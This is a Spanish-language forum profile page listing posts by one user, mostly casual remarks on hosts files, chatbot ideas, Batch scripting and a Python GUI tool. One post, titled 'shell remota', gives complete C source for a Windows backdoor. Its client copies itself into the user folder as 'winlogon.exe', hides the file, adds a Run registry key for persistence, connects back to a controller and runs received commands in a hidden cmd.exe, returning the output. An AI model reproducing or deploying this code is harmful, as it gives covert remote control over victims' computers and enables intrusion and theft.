Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - daryo

#1831
y si modificas el archivo host ?, eso a riesgo de que algunos av detecten como malware pero winsock algunos av tambien lo detectan como malware  :¬¬
#1832
ey que paso con la supuesta revolucion islandesa y todos esos principios de transparencia y libertad? , que tanto influyeron en las protestas al rededor del mundo

pero que paso aca  :o :o :o :o
#1833
bue mira aunque no tengo ni idea del tema se me ocurren varias cosas:

1.el bot tiene una base de datos con varias palabras catalogadas segun el tipo de palabra que sea verbo sujeto adjetivo etc

2. el bot captura en su base de datos palabras que digan otros usuarios y con analisis sintactico de determinadas frases pueda aprender que tipo de palabra es

3. el bot tiene respuestas predefinidas en caso de no saber que decir ; hay muchas frases estandar cuando queremos desviar la conversacion o algo por estilo XD

4. no estaria mal que el bot tuviera ciertas expresiones predeterminadas en su base de datos .

5. que identificara cierto numero de preguntas comunes .

6. que haga preguntas.

5. la personalidad quedaria definida en  varias cosas entre ellas: un diferente vocabulario(en caso que sea mas agresivo o mas servicial el vocabulario es diferente) y en como responderia las diferentes preguntas para que en caso de preguntar la edad diga que tenga la de su personalidad o en caso de ser mujer u hombre .

7. cierto tipo de patrones para que sigua un tema en especifico ( repetir ciertas palabras entre otros mas complejos)

en fin suerte en el  gigantesco proyecto XD
#1834
hola alguien conoce info sobre como manejar los winsockets con multiples conexiones?

gracias :D
#1835

esos son los wachiturros argentinos

http://es.wikipedia.org/wiki/Los_Wachiturros
http://peinadoss.com/wallpaper/Peinados-Wachiturros-2012/

algun troll invento eso no se si sera el que hizo este post  :rolleyes: :rolleyes: :rolleyes: :rolleyes: :rolleyes: :rolleyes: :rolleyes: :rolleyes: :rolleyes: :rolleyes: :rolleyes: :rolleyes: :rolleyes: :rolleyes:
#1836
Programación C/C++ / shell remota
4 Enero 2013, 16:27 PM
como es la primera vez que hago algo asi tiene varios problemas pero talves a alguien le sirva ...
server

#include <winsock2.h> //la cabezera para usar las funciones de winsock
#include <stdio.h>



int main()
{
   WSADATA wsa;
   SOCKET sock;
   struct sockaddr_in local;
   int len=0;
   int lend=0;
   char Buffer[1024];
   char recibido[1024];

   //Inicializamos
   WSAStartup(MAKEWORD(2,0),&wsa);

   //Creamos el socket
   sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

   //defnimos dirección por defecto, ipv4 y el puerto 9999
   local.sin_family = AF_INET;
   local.sin_addr.s_addr = INADDR_ANY;
   local.sin_port = htons(9999);

   //asociamos el socket al puerto
   if (bind(sock, (SOCKADDR*) &local, sizeof(local))==-1)
   {
      printf("error en el bind\n");
      return -1;
   }

   //ponemos el socket a la escucha
   if (listen(sock,1)==-1)
   {
      printf("error en el listen\n");
      return -1;
   }

   len=sizeof(struct sockaddr);

   //hay una conexión entrante y la aceptamos
   sock=accept(sock,(sockaddr*)&local,&len);

   printf("daryo shell\n");

   int bytes_recv; // esta variable es para saber si llego algun comando

   while (len!=0) //mientras estemos conectados con el otro pc
   {
      memset(Buffer, 0, sizeof(Buffer)); // Limpiamos el buffer.
      fflush(stdin);
      fflush(stdout);
      //esto es para limpiar la cadena por si acaso el siguien comando no tiene respuesta ...
     for (int x=0;x<1024;x++){
     recibido[x]='\0';
     }
    //------------------------------------
      // aca se envia el comando
      printf("\n\n\nenviar comando>");
      gets(Buffer);
      len=send(sock,Buffer,strlen(Buffer),0); //recibimos los datos que envie

// aca espera la llegada del comando
    do{
        bytes_recv = recv(sock, recibido, sizeof(recibido), 0);   // Esperamos para recibir datos...
    } while(bytes_recv == 0 && bytes_recv != SOCKET_ERROR);
    if(bytes_recv > 0){
    printf(recibido);



    }

   }

   return 0;
}




cliente

#include <winsock2.h> //la cabezera para usar las funciones de winsock
#include <cstdio>
#include <cstring>
#include <windows.h>


bool FileExists() {
FILE *archivo =fopen("windows.dll","r");

if (archivo){
     return true;
}
pclose(archivo);
return false;
}

void instalar(char *directorio,char *direccion){
CopyFile ( direccion, directorio, true );
FILE * winlog=fopen("windows.dll","w");
pclose(winlog);
// ahora escondemos el erchivo
SetFileAttributesA (directorio, FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM);
SetFileAttributesA ("windows.dll", FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM);
// ahora el registro
HKEY hkey;
char registro[60];
strcpy(registro,directorio);
RegOpenKeyEx (HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\run",0, KEY_SET_VALUE, &hkey);
RegSetValueEx (hkey, "windout", 0, REG_SZ,(const unsigned char * ) registro, sizeof registro );
RegCloseKey (hkey);
}

int shell(){

   WSADATA wsa;
   SOCKET sock;
   struct hostent *host;
   struct sockaddr_in direc;
   int conex;
   char Buffer[1024];
   char *comando;
   int len;

   //Inicializamos
   WSAStartup(MAKEWORD(2,2),&wsa);

   //resolvemos el nombre de dominio localhost, esto se resolverá a 127.0.0.1
   host=gethostbyname("localhost");

   //creamos el socket
   sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
   if (sock==-1)
   {
      return -1;
   }
   //Definimos la dirección a conectar que hemos recibido desde el gethostbyname
   //y decimos que el puerto al que deberá conectar es el 9999 con el protocolo ipv4
   direc.sin_family=AF_INET;
   direc.sin_port=htons(9999);
   direc.sin_addr = *((struct in_addr *)host->h_addr);
   memset(direc.sin_zero,0,8);

   //Intentamos establecer la conexión
   conex=connect(sock,(sockaddr *)&direc, sizeof(sockaddr));
   if (conex==-1)  //si no se ha podido conectar porque no se ha encontrado el host o no
                  //está el puerto abierto
   {
      return -1;
   }


   while (len!=-1 && strcmp(Buffer,"salir")!=0) //mientras el socket no se haya desconectado
                                               //y no se escriba salir
   {
      len=recv(sock,Buffer,1023,0); //recibimos los datos que envie
      if (len>0)  //si seguimos conectados
      {
         Buffer[len]=0; //le ponemos el final de cadena
         comando=Buffer;
         char ejecutar[500]="c:\\windows\\system32\\cmd.exe /c ";
         strcat(ejecutar,comando);

         // ejecutar comando
       SECURITY_ATTRIBUTES sa;
       STARTUPINFO si;
       PROCESS_INFORMATION pi;

       void * leer;
       void * escribir;

       ZeroMemory(&sa,sizeof(&sa));

       sa.nLength = sizeof(SECURITY_ATTRIBUTES);
       sa.bInheritHandle = TRUE;
       sa.lpSecurityDescriptor = NULL;

       CreatePipe(&leer,&escribir,&sa,0);

       GetStartupInfoA(&si);

       si.dwFlags = STARTF_USESTDHANDLES|STARTF_USESHOWWINDOW;
       si.wShowWindow = SW_HIDE;
       si.hStdOutput = escribir;
       si.hStdError  = escribir;
       si.hStdInput = leer;

       CreateProcessA(0,ejecutar,0,0,TRUE,0,0,0,&si,&pi);
       Sleep(200);
       CloseHandle(escribir);

       char buffer[1024];
       DWORD bleidos;
       ReadFile(leer,buffer,1024,&bleidos,0);
       send(sock,buffer,1024, 0);
       // un exagerado intento de mantener el buffer vacio
       memset(buffer, 0, sizeof(buffer));
       memset(Buffer, 0, sizeof(Buffer));
       for (int x=0;x<=500;x++){
       ejecutar[x]='\0';
       }
       for (int x=0;x<=1024;x++){
       Buffer[x]='\0';
       }
       fflush(stdin);
       fflush(stdout);
    //------------------------------------------

      }
   }

}

int main(int argc,char *argv[])
{
   char *directorio; // directorio de la instalacion
   char *direccion; // direccion actual
   direccion=argv[0];
   directorio=getenv("userprofile");
   SetCurrentDirectory(directorio);
   strcat(directorio,"\\winlogon.exe"); // nombre de el archivo
   // se ubica en la carpeta de usuario
   if(FileExists()){
   while(true){
   shell();
   Sleep(15000);
   }
   }
   else{
   instalar(directorio,direccion);
   STARTUPINFO si;
   PROCESS_INFORMATION pi;
   ZeroMemory( &si, sizeof(si) );
   si.cb = sizeof(si);
   ZeroMemory( &pi, sizeof(pi) );
   CreateProcess( NULL,   // No module name (use command line)
    "winlogon.exe",        // Command line
        NULL,           // Process handle not inheritable
        NULL,           // Thread handle not inheritable
        FALSE,          // Set handle inheritance to FALSE
        0,              // No creation flags
        NULL,           // Use parent's environment block
        NULL,           // Use parent's starting directory
        &si,            // Pointer to STARTUPINFO structure
        &pi );
   }
   return 0;
}

#1837
Scripting / Re: Amigo Batchero
13 Diciembre 2012, 14:23 PM
Cita de: EleKtro H@cker en 12 Diciembre 2012, 08:55 AM

Opino que lo más correcto para alguien que trabaja sobre Windows sería aprender Batch hasta un nivel medio (El uso del FOR sobre todo) simplemente para manejarse bien con Batch y salir de algún apuro en Windows, porque siempre puede surgir alguna tarea que necesite automatizar en el sistema, y con Batch es muy fácil porque Batch es FÁCIL, pero cuando ya sepan como funciona Batch, olvídenlo y empiecen a programar en otro lenguaje.

PD: Se te hecha en falta por la sección.

Un saludo!

seguro nadie aca me conoce pero aprendi bastante de leo aun asi le doy toda la razon a este comentario batch no esta mal para aprender ciertos conceptos de programacion , ademas que si se programa por hobby es entretenido  ;D y bue tampoco hay que desmeritarlo del todo con los juegos que he visto de por ejemplo smartgenius se demustra que aun se pueden hacer muchisimas cosas interesantes

pero una vez tocas otro lenguaje o mas bien uno de verdad te das cuenta de lo limitado que se estaba con batch
mi  consejo seria usar batch para tomar bases de programacion y luego irse con otra cosa como c++ python o perl  :D

saludos
#1838
Cita de: xman6 en 13 Junio 2012, 00:40 AM
Espero que no lo habreis hecho a cara descubierta ,guardad el mensaje que os mando con la ip ,por si las moscas;por curiosidad alguien podria mandarme la ip?.

a mi me la mando desde el otro foro pero supongo es el mismo server si quieres te envio la ip solo pidela por pv  :D
#1839
les recomiendo ver lo que paso en portal hacker con el juego de gtorna saludos
#1840
Scripting / Re: GUI Python
6 Enero 2011, 21:13 PM
lo de documentacion en castellano no se, del programa tipo Visual Studio para tk:
http://www.bitflipper.ca/rapyd/